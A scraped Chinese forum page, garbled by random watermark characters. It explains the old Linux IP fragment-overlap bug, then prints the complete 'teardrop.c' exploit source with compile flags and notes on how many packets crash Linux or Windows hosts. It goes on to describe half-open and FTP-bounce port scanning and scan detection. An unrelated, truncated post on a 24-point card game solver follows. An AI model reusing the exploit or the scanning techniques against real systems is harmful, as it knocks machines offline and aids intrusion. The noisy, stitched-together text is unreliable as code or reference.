ptr += i; /* ptr into fragment data */* D  Y' A, J% p# `! V0 {) T
}</P><P>/* Fill in the structure. */4 F8 ?* y  f- F; ^7 z- ?" j$ D* L0 U
fp-&gt;offset = offset;& x6 \  W( B" f  w; o* a
fp-&gt;end = end;  `8 O' N% I: y% U- g2 H: q
fp-&gt;len = end - offset; //fp-&gt;len是一个有符号整数</P><P>举个例子来说明这个漏洞:
2 }2 o1 s  t' @5 K第一个碎片:mf=1 offset=0 payload=201 z, J- x' {. n, \2 f
敌二个碎片:mf=0 offset=10 payload=9</P><P>这样第一个碎片的 end=0+20 4 M1 |! Y5 s! I2 H. K
offset=0: ]& I: I& d/ Z1 y8 p, A
这样第二个碎片的 end=9+10=195 T+ Q; t- D1 j# L+ y6 p4 l
offset=offset+(20-offset)=20$ Q& \, G7 {# B0 ^( \
fp-〉len=19-20=-1; </P><P>那么memcpy将拷贝过多的数据导致崩溃。</P><P>
; e. a5 f$ a% l0 P; \0 u( [0 }/*/ `/ [% [2 P% W3 r" r
* Copyright (c) 1997 route|daemon9 <ROUTE@INFONEXUS.COM>11.3.97
  K! e0 N& ]% J3 T5 z: ]*
- p7 O$ v5 k- N- J9 C& K4 F" [  M* Linux/NT/95 Overlap frag bug exploit* R" K) @2 t. d3 f7 c: L
*
8 {& Z/ E9 T+ P* Exploits the overlapping IP fragment bug present in all Linux kernels and
$ [: U  ~! q4 p* NT 4.0 / Windows 95 (others?); G8 w5 Z( n, z/ ~3 _# I
*' S5 D) H4 v) d# u* ?0 u- p: g5 C
* Based off of: flip.c by klepto
: \9 Y) k0 s! `' v* v* Compiles on: Linux, *BSD*
3 R; j! ~8 d, `7 T4 u*' w; P0 V5 {) k0 k
* gcc -O2 teardrop.c -o teardrop6 [/ Z# h/ p! M6 ~
* OR) L, p4 D6 [3 y* l6 R
* gcc -O2 teardrop.c -o teardrop -DSTRANGE_BSD_BYTE_ORDERING_THING
. Y2 I0 m' i, Y' S* `: A& G*/</P><P>#include <STDIO.H>
7 v, a9 C9 R( H9 h/ @- z#include <STDLIB.H>
2 W! m0 Z+ ~, t( |#include <UNISTD.H>6 v7 g% c1 t" ^8 f) ~" T. Z$ w
#include <STRING.H>
* i' f0 |- b8 _- B' @#include <NETDB.H>2 i  F7 h( x& k+ D, f  Y6 z
#include <NETINET in.h>
! O. d" C2 {# }#include <NETINET udp.h>
9 v# j. h- u9 F; F. k#include <ARPA inet.h>
7 z0 ^  s8 J; m1 [& a/ n#include <SYS types.h>/ \! B6 d  y! K0 b4 [5 |- L) q
#include <SYS time.h>/ U, A' f! k8 K
#include <SYS socket.h></P><P>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
! |1 B: e, H/ ]/* OpenBSD &lt; 2.1, all FreeBSD and netBSD, BSDi &lt; 3.0 */
/ L8 H% Y  ~: I. n+ J7 M#define FIX(n) (n)- p$ P5 @3 G# Q" k  H, D! s
#else /* OpenBSD 2.1, all Linux */
4 U  q$ y! U3 w3 n3 b1 v% k/ ]) e, C#define FIX(n) htons(n)- u' [: a9 U% ^/ m
#endif /* STRANGE_BSD_BYTE_ORDERING_THING */</P><P>#define IP_MF 0x2000 /* More IP fragment en route */
0 H+ k( O5 j1 I' c+ Y$ J2 ?6 l#define IPH 0x14 /* IP header size */
' R7 l5 ~& ~1 L# |+ ?1 z7 ~#define UDPH 0x8 /* UDP header size */
2 T, R+ Q; j$ b+ k$ _#define PADDING 0x1c /* datagram frame padding for first packet */$ Q" |! b3 V& z1 A& x8 Z0 y# [; j. b
#define MAGIC 0x3 /* Magic Fragment Constant (tm). Should be 2 or 3 */0 S; S1 A" K' r) \7 h8 F
#define COUNT 0x1 /* Linux dies with 1, NT is more stalwart and can3 P6 n1 H) Z+ B+ @6 V' C- V
* withstand maybe 5 or 10 sometimes... Experiment.4 ^8 }% }% |: @  z' {% X' B
*/</P><P>void usage(u_char *);' S  [; c- T9 P4 J, h  q
u_long name_resolve(u_char *);
8 m4 m5 _/ `' V6 t5 E9 b+ k7 Xu_short in_cksum(u_short *, int);
* T4 l9 r1 U5 v+ T- ]7 v+ Cvoid send_frags(int, u_long, u_long, u_short, u_short);</P><P>int main(int argc, char **argv)/ |& X" h9 f8 f/ ^. ^
{
, e1 t7 j3 [( h8 l' D/ ~int one = 1,
8 ^9 y, l3 D1 y2 o( @count = 0, ) f/ a3 e! j7 Y2 Q1 l
i, - N( x& `! G$ _' U
rip_sock;* s5 e. X6 M9 v5 I9 A: y$ O( [
u_long src_ip = 0, dst_ip = 0;
# S! h. N, |& i: a3 S! eu_short src_prt = 0, dst_prt = 0;
: C: E4 O. [; Nstruct in_addr addr;</P><P>fprintf(stderr, "teardrop route|daemon9\n\n");</P><P>//建SOCK_RAW) s! Q' C7 Q2 C9 l$ `* C. i; q/ l) s+ T
if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0)
9 s, x& @- L5 d  O{
+ Y0 Y% B# Q/ Dperror("raw socket");
# a% c; ~4 F. e3 m% nexit(1);+ h  U. Y0 R% ]& M$ o; ^' b
}2 p3 s8 Z, r1 ?9 u  w  E
//由系统处理IP校验和。
& A& B% L0 l. Q- ?, I7 ?if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL, (char *)&amp;one, sizeof(one))
$ ]* T; r7 Y& B9 f" ?( ~  ~6 i&lt; 0)  g& f! d  H- W; \3 f
{
- u! }# s( F, W- f# x# T* Xperror("IP_HDRINCL");  e" R# U3 K' @3 z3 `5 I
exit(1);
  v: G4 f* a; F5 T) F  E5 a" H}</P><P>if (argc &lt; 3) usage(argv[0]);7 g( ^1 f) i, y% }  A, x5 e
if (!(src_ip = name_resolve(argv[1])) || !(dst_ip = name_resolve(argv[2])))
  ?# q  C5 ?& U: |8 p{# z. y- r% m6 @& _
fprintf(stderr, "What the hell kind of IP address is that?\n");
1 b2 P+ H0 Z9 F2 z! u3 oexit(1);8 \8 B, g, M( s, Y  `
}</P><P>while ((i = getopt(argc, argv, "s:t:n:")) != EOF)7 M1 P3 Y, I) ]% {  K8 j2 @4 J
{9 A8 p( O0 P+ Z
switch (i)) S3 D( o5 e* J6 k" y
{+ U. N, _7 D* W2 N7 T: q: s1 K* a
case 's': /* source port (should be emphemeral) */$ L4 s: u( {6 B, S! b# a& i: L
src_prt = (u_short)atoi(optarg);
( B$ m) j2 S0 F$ `8 abreak;
' S4 Q3 W/ ~" h: ~1 j* qcase 't': /* dest port (DNS, anyone?) */
( Q# i. Y0 Y# M3 [( wdst_prt = (u_short)atoi(optarg);% H% g) H$ l+ S2 r( D% u6 E
break;7 G% x) O5 z( j$ E- U! X4 F' m
case 'n': /* number to send */
1 U4 k2 r- g$ r2 R, {2 lcount = atoi(optarg);6 l6 [; S* u" `4 `
break;
) a! R8 Z- |2 _default :
' v4 o" F% M; K$ xusage(argv[0]);- ~/ y- ^: l% @( M! U: y3 o4 {4 M
break; /* NOTREACHED */
- F; s% \# t! z9 }! i}3 |: N- K# m9 L
}</P><P>srandom((unsigned)(time((time_t)0)));4 e' `- t% W' t! N2 G4 j* S$ ~
if (!src_prt) src_prt = (random() % 0xffff);
. {4 K3 p9 h) ~$ l; C" Sif (!dst_prt) dst_prt = (random() % 0xffff);# E* @2 z# t' j
if (!count) count = COUNT;</P><P>fprintf(stderr, "Death on flaxen wings:\n");
' H) M+ Y' i0 _# e2 U. v" w; b9 Laddr.s_addr = src_ip;
: w* \" F6 L5 ifprintf(stderr, "From: %15s.%5d\n", inet_ntoa(addr), src_prt);! t) m$ f* A$ N+ B
addr.s_addr = dst_ip;
! u5 s$ ]; |: s, Wfprintf(stderr, " T %15s.%5d\n", inet_ntoa(addr), dst_prt);
4 i: a% w, N$ Q( ^fprintf(stderr, " Amt: %5d\n", count);; t, s+ S" }. j: G* a( }6 T* X
fprintf(stderr, "[ ");</P><P>for (i = 0; i &lt; count; i++)
' R% r$ t3 b5 Z! t& Y' v* N* }{
$ H! V# @5 m5 w6 \7 n+ Msend_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
' R& F1 d3 d7 C" s* ?3 `& f% F! K4 lfprintf(stderr, "b00m ");
; _, P4 z8 N! m. O5 }& n7 G/ y9 d; F% tusleep(500);
  c. _/ z2 Q7 C$ l5 T" T}7 a' `5 q7 X+ O' ^$ j! j3 P
fprintf(stderr, "]\n");
) x3 u/ E: M0 H4 F7 ]; g  Sreturn (0);# E- ]2 z: S5 @$ v  E- {  x/ ?
}</P><P>/*
; a7 R- B9 C7 {% O* G. u6 v* Send two IP fragments with pathological offsets. We use an implementation% [6 K- c+ P5 ?6 k7 L+ j9 y6 x
* independent way of assembling network packets that does not rely on any of
$ Y" {% b1 C, S* the diverse O/S specific nomenclature hinderances (well, linux vs. BSD).
$ V. n( m% e( h6 l4 r/ H9 o' J2 {*/</P><P>void send_frags(int sock, u_long src_ip, u_long dst_ip, u_short src_prt,
5 ]& T# H( p3 j0 s0 Bu_short dst_prt)
  n: Y' w7 ]& {9 s{
# p' I: A* i* o0 Ju_char *packet = NULL, *p_ptr = NULL; /* packet pointers */3 }2 u* Y5 u8 X/ }' |
u_char byte; /* a byte */1 z. b' P9 \! g+ e
struct sockaddr_in sin; /* socket protocol structure */</P><P>sin.sin_family = AF_INET;6 h/ Q% ~( B/ o- `% z
sin.sin_port = src_prt;9 S4 C+ Q' z# H' M4 \
sin.sin_addr.s_addr = dst_ip;</P><P>/*+ h1 F  c+ g. m: _; x
* Grab some memory for our packet, align p_ptr to point at the beginning& g5 a  x' h7 d) B; U  {
* of our packet, and then fill it with zeros.
- n0 F$ |8 P- l9 U1 r/ k" m*/
; U/ U& J, A& J. H- r* a5 w( gpacket = (u_char *)malloc(IPH + UDPH + PADDING);8 d* E1 M- B8 w0 H2 I2 n4 y2 u
p_ptr = packet;4 z' k0 e4 e) E' h( ]4 S. P
bzero((u_char *)p_ptr, IPH + UDPH + PADDING);</P><P>byte = 0x45; /* IP version and header length */
* g6 j! m6 X+ C, j. u& M. ?7 Umemcpy(p_ptr, &amp;byte, sizeof(u_char));7 ^" `* V7 \( S
p_ptr += 2; /* IP TOS (skipped) */: u1 t9 A) O0 F' v( s
*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING); /* total length */
2 l5 k# p! K7 e! I/ B0 yp_ptr += 2;
" {- ]) _- T6 |*((u_short *)p_ptr) = htons(242); /* IP id */
9 X4 K" O$ W5 a) Ap_ptr += 2;$ v- M# H* a1 }& W8 O$ r7 s9 R2 c
*((u_short *)p_ptr) |= FIX(IP_MF); /* IP frag flags and offset */
: F+ i" {, B8 J5 M% u/ ]; }p_ptr += 2;
* l8 ?+ ]8 b; e8 R8 e! N( |/ ~6 e*((u_short *)p_ptr) = 0x40; /* IP TTL */4 U0 f/ ?0 H% ?/ V9 ]* F
byte = IPPROTO_UDP;7 O: `0 }' k* R: t. l
memcpy(p_ptr + 1, &amp;byte, sizeof(u_char));
2 X, K/ g8 X) T: p' J' B, Fp_ptr += 4; /* IP checksum filled in by kernel *// q% A+ z$ V/ J; j
*((u_long *)p_ptr) = src_ip; /* IP source address */, y" k& P6 N  j2 r/ [% L8 R7 t# h) u
p_ptr += 4;
" e# [* x& R+ S: b" T*((u_long *)p_ptr) = dst_ip; /* IP destination address */
9 ~- L# F, i3 Z4 W; @% np_ptr += 4;: E" c: s$ Q3 n* T+ q  f
*((u_short *)p_ptr) = htons(src_prt); /* UDP source port */# w6 M- a5 \: v9 ?' O+ J  c. \2 s
p_ptr += 2;8 i! O! O4 H  w6 h% g% B0 {
*((u_short *)p_ptr) = htons(dst_prt); /* UDP destination port */' ?, H" P4 g% j3 q/ b" Y
p_ptr += 2;
1 S! `- o, F. F, \! x1 ~*((u_short *)p_ptr) = htons(8 + PADDING); /* UDP total length */</P><P>if (sendto(sock, packet, IPH + UDPH + PADDING, 0, (struct sockaddr *)&amp;sin,. o+ e  a: M/ M( e6 ^
sizeof(struct sockaddr)) == -1)
3 L/ Y, G' ^  M7 G7 H) d{
7 i- f! T3 Q: }9 E* t* S! Gperror("\nsendto");
8 J" v9 G' r& s/ Ifree(packet);
) J" e7 X2 X6 d! s* Uexit(1);
  p' g! b( D+ z- E' i4 l}</P><P>/* We set the fragment offset to be inside of the previous packet's
+ L* }3 P2 E: G% w; U* payload (it overlaps inside the previous packet) but do not include
2 f" q/ i0 Z( N* enough payload to cover complete the datagram. Just the header will
) [! _, h5 Z, V- z4 k* do, but to crash NT/95 machines, a bit larger of packet seems to work: I) J! l: x  r% R" U& F
* better.
  X* V- Q: j% a- r4 K" }*/, F% I9 j& p  R3 J( P! X# d7 s/ Z
p_ptr = &amp;packet[2]; /* IP total length is 2 bytes into the header */4 `) C+ H7 M1 T
*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
' u7 [! M: _8 R6 |$ |p_ptr += 4; /* IP offset is 6 bytes into the header */, D9 p* @3 }) u2 }: b
*((u_short *)p_ptr) = FIX(MAGIC);</P><P>if (sendto(sock, packet, IPH + MAGIC + 1, 0, (struct sockaddr *)&amp;sin,( w; J$ M% V6 h# X' q
sizeof(struct sockaddr)) == -1)0 [  @; b6 c; L. k+ a* I
{; e3 s& |$ U" M- Q
perror("\nsendto");5 u- u. j" N, ]3 Y0 c/ [4 M, ]
free(packet);
6 F. \9 M0 e& S! E! L- Vexit(1);
% o4 m% j4 ^, X}
( C6 u  E" ~' u! |7 K  c' [free(packet);
3 k9 @- Q  k9 e7 @' n}</P><P>u_long name_resolve(u_char *host_name)3 k/ }1 h% h! k+ d- @
{9 V7 w5 z( E2 ^3 ~+ f
struct in_addr addr;4 u! W% o; K7 @% I& p
struct hostent *host_ent;</P><P>if ((addr.s_addr = inet_addr(host_name)) == -1)
3 j: q: K/ t- |, r: F* v{/ g7 W1 {8 M* q7 j) V0 |$ U8 M1 p
if (!(host_ent = gethostbyname(host_name))) return (0);( d* B. u2 e  Z
bcopy(host_ent-&gt;h_addr, (char *)&amp;addr.s_addr, host_ent-&gt;h_length);
4 G; ?+ u; `& {' G: \7 e" i( o$ J6 h}' ]- A1 o1 K8 h) t6 W
return (addr.s_addr);
* K2 l5 c) M+ n}</P><P>void usage(u_char *name)- h4 X1 N  p  W/ c: b( p- \
{5 \: x7 B  V  n4 W
fprintf(stderr,0 X% ~$ N' N# D+ \: w- K8 @; y
"%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",: O, m  X# _. w/ S7 d0 @5 s
name);0 r9 H2 _+ C. v0 }8 S& ^
exit(0);
6 ]( q* \" E) \% k4 Q( i3 L}</P><P>
8 \+ u7 w4 [" n: z, M6 D& Y9 S, v$ C4 Portscan 和 Antiportscan</P><P>Portscan的两种主要方法:
- t& U* Q# K3 J* n4 j2 m(1) Half-open(半打开)
9 h% t( P# B/ Y1 ]5 ~* g* w利用下面特性:但一个主机收到向某个端口(TCP)发出的(SYN),
* V! }. _" {: M" Y' Q5 J如果在这个端口有服务,那么返回(SYN+ASK),不然返回(RST)。</P><P>(2) FTP scanner( [, v) G8 X  z, f3 M
利用了FTP的port命令,例如可以这样作:
9 b$ J1 f8 W# U/ x/ j选择一个FTP服务器,连上后令port命令指向目标机,如果返回* B, P6 i1 S" M, |5 l8 ]
值是正确的,那么目标机的该端口是有服务的,如返回打开端口错误则
/ _+ q" X/ k# T( H4 @; R: Z该端口无服务。! i* v# I0 K& N$ J$ e1 s
telnet 192.168.1.13 21
2 _$ O! v( ?3 a, g. F0 H6 GTrying 192.168.1.13.../ a% Z. n( |* i2 ]; c; G
Connected to pp.bricks.org.) E" Z* {/ K* V  c# P9 L
Escape character is '^]'.
1 E* j/ O! F" O9 N" g$ k1 P8 U220 pp.bricks.org FTP server (Version wu-2.4.2-academ[BETA-16](1)
: m1 ?2 M) f6 e- N* LThu May 7 23:18:05 EDT 1998) ready.</P><P>user anonymous0 |9 A8 \6 [9 P2 g
331 Guest login ok, send your complete e-mail address as password.  |! w9 d  r: H0 \1 _3 L/ c" \3 A4 O
pass aa@aa.aa- ^. y' I/ S9 m4 E& M2 d
230 Guest login ok, access restrictions apply.
3 X6 b0 U  U2 m1 \, ~  F5 mport a,b,c,d,p1,p2 // a.b.c.d是要探测的目标 p1 p2是目的端口</P><P>150 Opening ASCII mode data connection for file list.
$ b3 g- T  u0 j5 ^; e/ u425 Can't build data connection: Connection refused.
  @; }  ^; P, e/ h0 G. ]//该端口未活动 2 \+ J, ?  }( g
150 Opening ASCII mode data connection for file list.
/ R7 b# a$ c& J$ W* x226 Transfer complete.8 }' H2 f1 b! f% B- j5 ^
//该端口活动中4 ~' W+ _  u; k1 U5 u
但有些FTP服务器禁止你将数据连接影响其他地址,那就没办法了。</P><P>上述两种方法是通用的,而针对个别系统有一些特殊方法。</P><P>如一些系统受到包后会作如下处理:</P><P>标志 活动的端口的应答 不活动端口的应答 </P><P>SYN SYN|ACK RST 或 Nothing' x, c# \( x/ _
SYN|FIN ACK or SYN|ACK* RST; {7 S- B6 r% {, D- e6 L+ F. L
ACK Nothing RST
4 {  C% ]$ C1 Z1 J  h; V0 flag Nothing RST</P><P>你最好是试一试。</P><P>Antiport5 l) S2 r. {4 O! j* A0 q3 B( L
一般是调用 sd=socket(PF_INET,SOCK_RAW,6),然后不停的读,/ A6 l1 ?0 M7 ?& X1 O
若发现一个主机不停的象你发送(SYN)包,却没有完成连结,可以认, b) P0 v+ J" i. g
定它在向你做portscan。</P><P>notes:
( ^1 c9 _; k9 J+ u: i0 Q. ~' B早期的portscan程序是老老实实的向你一个一个端口连(完成三次握手),# j$ }. \1 L! m* t2 N3 l0 W
而一些antiscan是在一个平时不用的端口上起一个服务器,并认为连上来的7 P* q0 v; f* n9 N
都是向它scan。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#ff6600 size=4><B><FONT size=5>关于二十四点游戏的编程思路与基本算法</FONT></B></FONT></P>< align=left>
# K: L# P. d  C$ |9 O5 {7 D  漫长的假期对于我来说总是枯燥无味的,闲来无聊便和同学玩起童年时经常玩的二十四点牌游戏来。此游戏说来简单,就是利用加减乘除以及括号将给出的四张牌组成一个值为24的表达式。但是其中却不乏一些有趣的题目,这不,我们刚玩了一会儿,便遇到了一个难题——3、6、6、10(其实后来想想,这也不算是个太难的题,只是当时我们的脑筋都没有转弯而已,呵呵)。/ U* i# U8 n  }' X2 h8 b) y" |
. o/ z. w! P; i2 K' z: Z& ?
  问题既然出现了,我们当然要解决。冥思苦想之际,我的脑中掠过一丝念头——何不编个程序来解决这个问题呢?文曲星中不就有这样的程序吗?所以这个想法应该是可行。想到这里我立刻开始思索这个程序的算法,最先想到的自然是穷举法(后来发现我再也想不到更好的方法了,悲哀呀,呵呵),因为在这学期我曾经写过一个小程序——计算有括号的简单表达式。只要我能编程实现四个数加上运算符号所构成的表达式的穷举,不就可以利用这个计算程序来完成这个计算二十四点的程序吗?确定了这个思路之后,我开始想这个问题的细节。
! T8 P/ J" B+ P5 l% \6 E8 L/ P; A首先穷举的可行性问题。我把表达式如下分成三类——- _+ v% ?  o2 e3 n& x# R
<FONT color=#ff0000>1、 无括号的简单表达式。
3 T& _3 j- M: A$ d- b: b2、 有一个括号的简单表达式。' W7 x. i( W3 v* A! E
3、 有两个括号的较复4、 杂表达式。
# z# M& o1 p4 }( }* X' h</FONT>穷举的开始我对给出的四个数进行排列,其可能的种数为4*3*2*1=24。我利用一个嵌套函数实现四个数的排列,算法如下:
' H$ ^2 ^( Z2 d$ g<FONT color=#009900>/* ans[] 用来存放各种排列组合的数组 */. L8 T2 c4 `/ I0 A
/* c[] 存放四张牌的数组 */' g/ L) A0 `- b! s
/* k[] c[]种四张牌的代号,其中k[I]=I+1。
: f8 j% X: t$ a9 y  g) L7 j: g; i用它来代替c[]做处理,考虑到c[]中有可能出现相同数的情况 */- n9 [" f7 Q* p& D
/* kans[] 暂存生成的排列组合 */) o1 l1 R/ h$ X1 y: c9 F
/* j 嵌套循环的次数 */5 N& s% V( L' d/ s5 L0 t; u
int fans(c,k,ans,kans,j)1 Q/ j# l5 O- Z' Y; I% q- ?
int j,k[],c[];char ans[],kans[];/ h# X( Q1 `2 j4 h3 x* _7 ]
{ int i,p,q,r,h,flag,s[4],t[4][4];! R" |* q) A5 a3 y) N; D
for(p=0,q=0;p&lt;4;p++)* `6 U# _, ]& |7 E5 n+ P
{ for(r=0,flag=0;r<J;R++). X0 I$ a5 Q( A: E9 N: z# t' b
if(k[p]!=kans[r]) flag++;
6 b( N9 ^$ R: u! ^3 M5 ]% _# mif(flag==j) t[j][q++]=k[p];$ @4 V  e+ g' B9 ^& L1 e0 l, ^4 ]0 x: A
}
; c1 a7 F  A! J" j3 M( {for(s[j]=0;s[j]&lt;4-j;s[j]++)
/ k9 k/ Q! M" `' }" K2 T% R{ kans[j]=t[j][s[j]];% [$ K- m2 c0 F- T
if(j==3) { for(h=0;h&lt;4;h++)
7 j7 ~' x0 y$ R( L9 q- s! lans[2*h]=c[kans[h]-1]; /* 调整生成的排列组合在最终的表
9 p; P  a9 V% Q& p9 C达式中的位置 */
6 V5 D" S- ^$ w  V3 v, o# S- w+ Tfor(h=0;h&lt;3;h++)/ i# K* J' }5 u+ {1 ?9 m
symbol(ans,h); /* 在表达式中添加运算符号 */4 M7 |" s% @/ H# h; x0 ^! L
}9 M" Q0 T) p- e6 Q. r' I
else { j++;
3 c( W: g/ A, Tfans(c,k,ans,kans,j);
6 x' F) A" o0 S# jj--;7 z) r0 S% k2 y: [$ C
}
6 ^& |: a& H6 p9 [}
6 y2 Q3 R3 ^( g+ M! S  ^% R}</FONT>
3 a. Z4 c# T, Q/ {' L- w: o
' S( S  u! p! g1 ^  正如上面函数中提到的,在完成四张牌的排列之后,在表达式中添加运算符号。由于只有四张牌,所以只要添加三个运算符号就可以了。由于每一个运算符号可重复,所以计算出其可能的种数为4*4*4=64种。仍然利用嵌套函数实现添加运算符号的穷举,算法如下:* [0 m: u& y) y0 e9 N

; o! E( J) ?. d( v. P3 f: {<FONT color=#009900>/* ans[],j同上。sy[]存放四个运算符号。h为表达式形式。*/9 [6 p1 O1 m8 t' P8 `& X  I3 F
int sans(ans,sy,j,h)$ k& ?. g4 i% [: n
char ans[],sy[];int j,h;
  f7 n1 _1 S2 }! B; W{ int i,p,k[3],m,n; char ktans[20];: D% Z0 }0 z7 p% |" i- @
for(k[j]=0;k[j]&lt;4;k[j]++)
) x+ A' o5 O4 G5 C* k, k{ ans[2*j+1]=sy[k[j]]; /* 刚才的四个数分别存放在0、2、4、6位
, B& v. D! U+ y- |这里的三个运算符号分别存放在1、3、5位*/ # T1 M  g8 Z- H" Q9 ?
if(j==2)
$ ~$ d4 t6 j8 ^0 C3 \; R{ ans[5]=sy[k[j]];
- R3 F- a4 U: P) C1 H, B( O* t! F/* 此处根据不同的表达式形式再进行相应的处理 */' J/ y$ O# L* y) z2 P. w
}- }$ q9 y& p) U1 x+ L9 `. t
else { j++; sans(ans,sy,j--,h); }( f4 a: R- ]) z+ D' ?9 G
}
7 l% Q. R2 V' J8 r0 }, x}" L& N9 s  G% c  ?+ ]) p+ c: y
! d: t9 G6 g  O" ]) Q2 \# E! q2 G
</FONT>  好了,接下来我再考虑不同表达式的处理。刚才我已经将表达式分为三类,是因为添加三个括号对于四张牌来说肯定是重复的。对于第一种,无括号自然不用另行处理;而第二种情况由以下代码可以得出其可能性有六种,其中还有一种是多余的。0 {, Q( [2 g. N* O
for(m=0;m&lt;=4;m+=2)% z& ^2 M) x7 g( K1 B0 o8 u
for(n=m+4;n&lt;=8;n+=2)7 q7 i) ^( b0 ^$ M" l
  这个for循环给出了添加一个括号的可能性的种数,其中m、n分别为添加在表达式中的左右括号的位置。我所说的多余的是指m=0,n=8,也就是放在表达式的两端。这真是多此一举,呵呵!最后一种情况是添加两个括号,我分析了一下,发现只可能是这种形式才不会是重复的——(a b)(c d)。为什么不会出现嵌套括号的情况呢?因为如果是嵌套括号,那么外面的括号肯定是包含三个数字的(四个没有必要),也就是说这个括号里面包含了两个运算符号,而这两个运算符号是被另外一个括号隔开的。那么如果这两个运算符号是同一优先级的,则肯定可以通过一些转换去掉括号(你不妨举一些例子来试试),也就是说这一个括号没有必要;如果这两个运算符号不是同一优先级,也必然是这种形式((a+-b)*/c)。而*和/在这几个运算符号中优先级最高,自然就没有必要在它的外面添加括号了。4 Z/ E( t( V; B& k! ~
: t. K! r, D  B9 v2 @, V/ ^
  综上所述,所有可能的表达式的种数为24*64*(1+6+1)=12288种。哈哈,只有一万多种可能性(这其中还有重复),这对于电脑来说可是小case哟!所以,对于穷举的可行性分析和实现也就完成了。) x! V% n" }0 d; _* z- ?! U
</P>< align=left>  接下来的问题就是如何对有符号的简单表达式进行处理。这是栈的一个著名应用,那么什么是栈呢?栈的概念是从日常生活中货物在货栈种的存取过程抽象出来的,即最后存放入栈的货物(堆在靠出口处)先被提取出去,符合“先进后出,后进先出”的原则。这种结构犹如子弹夹。1 M1 Y7 ]# a3 S; V' Y
在栈中,元素的插入称为压入(push)或入栈,元素的删除称为弹出(pop)或退栈。! I7 i" W) D% {* p

( G( B1 T4 E( F2 E9 I/ B  栈的基本运算有三种,其中包括入栈运算、退栈运算以及读栈顶元素,这些请参考相关数据结构资料。根据这些基本运算就可以用数组模拟出栈来。% j- y" S7 d, ^' J% E

& Q" E+ z: ?5 T. y  那么作为栈的著名应用,表达式的计算可以有两种方法。
% e% B. ~! Z) l. G5 s7 J
, {" x( V8 {" B" j  <FONT color=#ff0000>第一种方法——</FONT>  R4 \$ w6 W: L: Z7 h* j8 j. c
  首先建立两个栈,操作数栈OVS和运算符栈OPS。其中,操作数栈用来记忆表达式中的操作数,其栈顶指针为topv,初始时为空,即topv=0;运算符栈用来记忆表达式中的运算符,其栈顶指针为topp,初始时,栈中只有一个表达式结束符,即topp=1,且OPS(1)=‘;’。此处的‘;’即表达式结束符。
4 F0 U( y4 a1 [  g4 ]( l  然后自左至右的扫描待处理的表达式,并假设当前扫描到的符号为W,根据不同的符号W做如下不同的处理:
/ d; y( S- g$ I. [2 @1、 若W为操作数
2 T( q$ u7 f( `% G4 F2、 则将W压入操作数栈OVS
9 a; v$ a$ w" r3、 且继续扫描下一个字符7 m/ n, c2 Y. O% M' k
4、 若W为运算符% C) L( I, b2 M& L# u( ^
5、 则根据运算符的性质做相应的处理:
1 k6 X0 G0 `* I8 U3 R5 P/ j(1)、若运算符为左括号或者运算符的优先级大于运算符栈栈顶的运算符(即OPS(top)),则将运算符W压入运算符栈OPS,并继续扫描下一个字符。! f- V* D0 P  `$ z7 @2 W- z
(2)、若运算符W为表达式结束符‘;’且运算符栈栈顶的运算符也为表达式结束符(即OPS(topp)=’;’),则处理过程结束,此时,操作数栈栈顶元素(即OVS(topv))即为表达式的值。  ~) i, c; \0 Y7 s, u0 e
(3)、若运算符W为右括号且运算符栈栈顶的运算符为左括号(即OPS(topp)=’(‘),则将左括号从运算符栈谈出,且继续扫描下一个符号。) y4 ]* E6 c: Z1 U6 g
(4)、若运算符的右不大于运算符栈栈顶的运算符(即OPS(topp)),则从操作数栈OVS中弹出两个操作数,设先后弹出的操作数为a、b,再从运算符栈OPS中弹出一个运算符,设为+,然后作运算a+b,并将运算结果压入操作数栈OVS。本次的运算符下次将重新考虑。, i3 i' S$ Y. x% [

/ D/ n" i# b& F5 Y7 x<FONT color=#ff0000>  第二种方法——</FONT>& o0 O; [7 r- ^; U' z* }
  首先对表达式进行线性化,然后将线性表达式转换成机器指令序列以便进行求值。
! w( q/ h- A& N) _6 n8 ~% t" B! I3 O  y+ E# a
  那么什么是表达式的线性化呢?人们所习惯的表达式的表达方法称为中缀表示。中缀表示的特点是运算符位于运算对象的中间。但这种表示方式,有时必须借助括号才能将运算顺序表达清楚,而且处理也比较复杂。9 s- M9 ?5 k1 i) D/ H
: y1 q$ o) W; x+ t; a
   1929年,波兰逻辑学家Lukasiewicz提出一种不用括号的逻辑符号体系,后来人们称之为波兰表示法(Polish notation)。波兰表达式的特点是运算符位于运算对象的后面,因此称为后缀表示。在对波兰表达式进行运算,严格按照自左至右的顺序进行。下面给出一些表达式及其相应的波兰表达式。9 Q% U+ l& U& A) f
表达式 波兰表达式9 z3 d- I! K' J1 }
A-B AB-
+ @$ x  N" L7 ^# a# w(A-B)*C+D AB-C*D+
: `# A6 `8 E9 ~A*(B+C/D)-E*F ABCD/+*EF*-
# M/ U9 x% f# H(B+C)/(A-D) BC+AD-/
# \: `3 O; r# `) C' u6 d& v" i" Z( D2 {7 A6 q7 ^
  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
( \5 R' w6 ~* Q$ @2 P& a0 G, b6 l- L# H) U0 f5 f9 o& V* l  [0 r
  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。) P- _8 A" M" H5 i( G  X
: _" \* A5 ]# Y- V% O
  下面给出转换和计算的具体实现程序——' `. z& L: c, ?: l; V
& w0 s% e) O8 h, Z# B1 T
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */: Q. J  V0 N# O$ B$ X$ K: U
int first(char c)- U2 y/ U% Q$ d" y; A5 B5 y" x
{ int p;8 J% A  h# }2 Q4 ?0 d4 Y
switch(c)$ y& E2 j9 Y- ~2 y3 I# \* H
{ case '*': p=2; break;" f+ k) Z3 b9 K$ |4 V
case '/': p=2; break;( k# g- F: E8 {' |3 S: I( A# Y
case '+': p=1; break;7 B: l! i" ~3 I/ z; r" R, U& y
case '-': p=1; break;
4 r- H3 L1 T8 e) T0 Ucase '(': p=0; break;
